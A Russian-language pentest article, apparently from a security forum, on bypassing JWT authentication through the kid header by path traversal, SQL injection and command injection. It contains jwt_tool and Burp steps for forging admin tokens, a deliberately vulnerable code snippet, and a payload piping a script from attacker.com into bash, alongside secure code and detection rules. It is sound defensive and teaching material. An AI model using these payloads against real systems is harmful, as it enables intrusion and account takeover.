Статья JWT bypass уязвимость через kid header: разбор эксплуатации и защита

Рабочий стол с разобранной платой и логическим пробником у отладочного разъёма. Экран ноутбука отображает поддельный JWT-заголовок с выделенным красным полем kid.


На аудите финтех-API осенью 2024-го мы три дня копали IDOR в платёжных эндпоинтах - а critical обнаружился в JWT-заголовке. Значение параметра kid подставлялось напрямую в SQL-запрос к таблице ключей подписи. Одна UNION-инъекция - и мы контролировали ключ верификации, генерировали токены с "role": "admin" и обходили всю аутентификацию за 20 минут. Приложение к тому моменту прошло два предыдущих аудита. Два. И оба промахнулись мимо заголовка.

Параметр kid (Key ID) - одна из самых недооценённых точек входа при JWT authentication bypass. Русскоязычные разборы упоминают его одной строкой рядом с jwk-инъекцией и algorithm confusion. Здесь - три конкретных вектора эксплуатации kid header с командами jwt_tool и Burp Suite, diff уязвимого и безопасного кода и чеклист для code review.

Место kid-атаки в цепочке: от recon до privilege escalation​

JWT kid header уязвимость - не изолированный трюк. Это полноценный этап kill chain, который ложится на несколько тактик MITRE ATT&CK: Подробнее - в нашем материале про атаки на аутентификацию.
  • Initial Access - Exploit Public-Facing Application (T1190): JWT-эндпоинт доступен извне, kid не валидируется на входе
  • Credential Access - Exploitation for Credential Access (T1212): подделка подписи даёт токен с чужими claim'ами
  • Lateral Movement - Application Access Token (T1550.001): поддельный JWT принимается внутренними микросервисами без повторной верификации
Типичная цепочка на практике: recon API (Swagger/OpenAPI, JS-бандлы, /robots.txt) → обнаружение JWT в заголовке Authorization: Bearer → декодирование через jwt_tool -d <token> → проверка наличия kid в заголовке → fingerprinting серверной обработки kid (фаззинг спецсимволами) → выбор вектора → подпись поддельного токена → обход аутентификации JWT или privilege escalation.

Контекст применимости: внешний пентест веб-приложений и API (black/grey box), bug bounty на SaaS-платформах. Во внутреннем пентесте - аудит микросервисной архитектуры, где JWT передаётся между сервисами. На legacy-монолитах kid встречается реже - там чаще единственный HMAC-секрет без ротации ключей.

Как работает kid и почему сервер ему доверяет​

kid - необязательный параметр заголовка JWT из RFC 7515 (JSON Web Signature). Задача простая: указать серверу, каким именно ключом подписан конкретный токен. Нужно при ротации ключей или в multi-tenant архитектуре с несколькими ключами в JWKS.

Заголовок JWT с kid выглядит так: {"alg": "HS256", "typ": "JWT", "kid": "key-2024-q3"}. Сервер берёт это значение и ищет ключ подписи. А вот дальше начинается интересное: kid - данные, полностью контролируемые клиентом. Если сервер подставляет их в операцию без санитизации, открываются три класса JSON Web Token эксплуатации:

Как сервер резолвит kidВектор атакиOWASP
SQL-запрос к таблице ключейSQL injectionA03:2021 Injection
Путь к файлу на дискеPath traversal / LFIA01:2021 Broken Access Control
Аргумент shell-командыOS command injectionA03:2021 Injection
URL к внешнему хранилищуSSRFA10:2021 SSRF

Ни в одном из этих сценариев спецификация JWT не предписывает серверу валидировать формат kid. Разработчик должен сделать это сам - и именно здесь ломается обход аутентификации JWT.

JWT path traversal kid: подпись нулевым байтом​

Самый частый и хорошо задокументированный вектор. Подробно разобран в лаборатории PortSwigger (Tier-1 источник). Если сервер конкатенирует значение kid с базовым путём к директории ключей, атакующий перенаправляет чтение на файл с предсказуемым содержимым.

Требования к окружению​

ПараметрЗначение
ИнструментыBurp Suite + JWT Editor extension (BApp Store) или jwt_tool v2.2.7+
ОС атакующегоЛюбая (Kali Linux / macOS / Windows)
Целевой серверLinux (нужен /dev/null или иной файл с известным содержимым)
РежимOnline, сетевой доступ к приложению
Минимальный RAM4 ГБ (Burp Suite Community), 8 ГБ (Burp Suite Professional)

Пошаговая эксплуатация​

Уязвимый серверный код (Node.js/Express):
JavaScript:
// kid подставляется в путь без валидации - path traversal
const keyPath = path.join('/app/keys/', header.kid);
const key = fs.readFileSync(keyPath);
jwt.verify(token, key);
Атакующий указывает в kid traversal-последовательность ../../../../../../../dev/null. Файл /dev/null при чтении возвращает пустой контент. Токен подписывается ключом, равным одному null-байту (AA== в base64).

Через Burp Suite (по методологии PortSwigger):
  1. Перехватить запрос с JWT, отправить в Repeater
  2. JWT Editor Keys → New Symmetric Key → Generate → заменить свойство k на AA== (base64-кодированный одиночный null-байт). В лаборатории PortSwigger «JWT authentication bypass via kid header path traversal» используется именно это значение - оно соответствует результату чтения /dev/null большинством JWT-библиотек
  3. В JSON Web Token tab изменить заголовок: "kid": "../../../../../../../dev/null"
  4. В payload изменить sub на administrator (или role / is_admin - зависит от приложения)
  5. Sign → выбрать созданный symmetric key → Don't modify header → OK
  6. Отправить запрос - токен подписан null-байтом и проходит верификацию
Через jwt_tool одной командой: echo -n '' > /tmp/null.key && python3 jwt_tool.py <JWT> -I -hc kid -hv "../../../../../../dev/null" -pc sub -pv administrator -S s -sk /tmp/null.key

Здесь -I - injection mode, -hc kid - изменить claim kid в header, -S s - symmetric signing, -sk /tmp/null.key - путь к файлу с пустым содержимым (jwt_tool ожидает путь к файлу ключа, а не строку).

Ограничения вектора​

Работает на Linux/macOS серверах (/dev/null доступен). На Windows нет прямого аналога - можно попробовать traversal к файлу с известным содержимым, но предсказуемость ниже.

Контейнеры с read-only filesystem или seccomp-профилями могут блокировать обращение к произвольным путям. WAF с правилами на ../ детектирует - но только если парсит base64url-содержимое JWT (большинство WAF этого не делают по умолчанию). В Go-приложениях filepath.Clean() нормализует traversal-последовательность - вектор не работает.

Kid header SQL injection: подмена ключа из базы​

По моему опыту - более опасный вектор. JWT injection атака через SQL позволяет не только обойти аутентификацию, но и вытащить данные из БД, а иногда получить RCE.

Механика атаки​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме


Где встречается: чаще в кастомных реализациях JWT-валидации. Зрелые библиотеки (express-jwt, Spring Security JwtDecoder, golang-jwt/jwt) предоставляют key resolver callback, где kid - аргумент функции, а не часть SQL-строки. Но стоит разработчику написать свой resolver с прямым запросом к БД - защита испаряется.

Связь с известными CVE​

CVE-2018-0114 (CVSS 7.5, HIGH, CWE-347) в библиотеке Cisco node-jose < 0.11.0 демонстрирует родственную проблему: JWS-стандарт позволял встроить JWK (публичный ключ) прямо в заголовок токена, и библиотека доверяла этому ключу для верификации. Атакующий переподписывал токен ключом, вложенным в сам JWT. Вектор: network (AV:N), сложность низкая (AC:L), привилегии не нужны (PR:N). Публичный эксплойт - zi0Black/POC-CVE-2018-0114 на GitHub (также доступен на Exploit-DB как EDB-44324).

JWT-библиотеки регулярно содержат логические ошибки валидации claim'ов. CVE-2025-30144 в fast-jwt < 5.0.6 (CVSS 6.5, MEDIUM, CWE-290/CWE-345) показала, что массив строк принимался как валидное значение iss. Если даже стандартизированные claim'ы валидируются с ошибками - нестандартизированный kid требует явной защиты на стороне приложения. Тут не паранойя, а арифметика.

Command injection через kid​

Если значение kid передаётся в shell-команду (через exec, system или backticks) для извлечения ключа из внешнего хранилища - возможна OS command injection. Payload: kid: "key1|curl attacker.com/shell.sh|bash" или kid: "key1$(whoami)".

На практике встречается крайне редко - в самописных обёртках над HSM или vault-CLI, где разработчик вызывает внешнюю утилиту с kid как аргументом. За четыре года пентестов я видел этот вектор дважды, оба раза в legacy PHP-приложениях с shell_exec(). Но если нашёл - это сразу RCE, без промежуточных шагов.

Выбор вектора: decision tree для kid-атаки​

Что наблюдаете при фаззинге kidВероятный векторДействие
Ошибка ФС: «ENOENT», «file not found»Path traversalkid: "../../../dev/null", подпись null byte
SQL-ошибка или 500 при kid: "'"SQL injectionUNION SELECT 'controlled-key', подпись ей же
Задержка ответа при kid: "$(sleep 5)"Command injectionOOB-верификация через DNS callback
Стабильный 401, поведение не меняетсяСлепая инъекция или kid не участвует в поиске ключаTime-based blind SQLi; если не работает - другие JWT-векторы (alg:none, algorithm confusion, jwk/jku)

Порядок тестирования: path traversal первым (наименее деструктивен), затем SQL injection, в последнюю очередь command injection. Для fingerprinting достаточно трёх запросов с kid: ../test, ', $(id). Три запроса - и уже понятно, куда копать.

Слепые зоны WAF и SIEM при атаке на kid​

WAF: JWT-заголовок вне зоны видимости​

По умолчанию WAF (ModSecurity CRS, AWS WAF, Cloudflare) анализируют тело HTTP-запроса и URL-параметры. Содержимое Authorization: Bearer <JWT> - base64url-закодированная строка, и стандартные сигнатуры (../, UNION SELECT, | bash) внутри неё невидимы для правил.

Cloudflare и AWS WAF в advanced-конфигурации позволяют custom rules с decode_base64, но это ручная настройка, которую нужно делать осознанно. По умолчанию - дырка.

Application Logs и SIEM​

Серия 401/403 с разными JWT при фаззинге - маркер разведки, но без парсинга JWT в лог-пайплайне SIEM не видит содержимое kid. SQL-ошибки в логах приложения - прямой индикатор, если не подавлены (а они обычно подавлены в продакшене). Файловые ошибки I/O (ENOENT /dev/null) видны только если приложение логирует операции с FS.

Для blue team: добавить в Logstash / Elastic ingest pipeline / Fluentd фильтр, декодирующий JWT из Bearer-заголовка и извлекающий kid. Алертить на паттерны в kid: ../, UNION, SELECT.*FROM, $(, |bash. В средах со стандартизированным форматом kid (alphanumeric + дефис) можно дополнительно алертить на ', |, ;. Для multi-tenant с произвольным форматом kid - ограничиться конкретными паттернами SQLi/path traversal, чтобы снизить false positives. Это закрывает слепую зону, которую не покроет ни один WAF в дефолтной конфигурации.

Чеклист защиты: уязвимый vs безопасный код​

Защитная мераPath traversalSQLiCommand injection
Whitelist допустимых kidДаДаДа
Маппинг kid через словарьДаДаДа
Prepared statementsНетДаНет
Отказ от shell execНетНетДа
Whitelist алгоритмов в verify()КосвенноКосвенноКосвенно
Декодирование kid в SIEMДетектДетектДетект

Безопасная реализация key resolver (Node.js):
JavaScript:
// kid маппится через словарь - инъекция невозможна
const keyStore = {
  'prod-2024-q3': fs.readFileSync('/app/keys/q3.pem'),
  'prod-2025-q1': fs.readFileSync('/app/keys/q1.pem'),
};
function resolve(header, cb) {
  const key = keyStore[header.kid];
  if (!key) return cb(new Error('Unknown kid'));
  cb(null, key);
}
jwt.verify(token, resolve, { algorithms: ['RS256'] });
Ключевое отличие от уязвимого кода: значение kid никогда не попадает в SQL, файловый путь или shell. Оно используется исключительно как ключ словаря. Алгоритм задан явно через whitelist (algorithms: ['RS256']), что дополнительно блокирует JWT алгоритм подмена (algorithm confusion). Если приложение использует JWKS-эндпоинт - убедитесь, что URL эндпоинта зашит в конфигурации, а не берётся из заголовка токена (иначе открывается вектор через jku).

Главная ошибка, которую я вижу на code review раз за разом: команда берёт проверенную библиотеку JWT, но пишет собственный keyResolver с обращением к базе - и вся защита библиотеки обнуляется одним конкатенированным SQL-запросом. Зрелые фреймворки (Spring Security JwtDecoder, express-jwt с jwks-rsa, golang-jwt с keyfunc) решают задачу ротации ключей через JWKS без необходимости писать собственный резолвер. Если в вашем проекте kid всё-таки попадает в SQL или файловый путь - whitelist допустимых значений закрывает все три вектора разом.

Исходить из того, что любой user-controlled параметр JWT-заголовка опасен - не паранойя, а единственный рабочий подход. На HackerLab.pro формула на бумаге и формула на живом стенде ощущаются по-разному - web-категория позволяет прогнать kid injection от первого запроса до получения admin-токена на практике.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab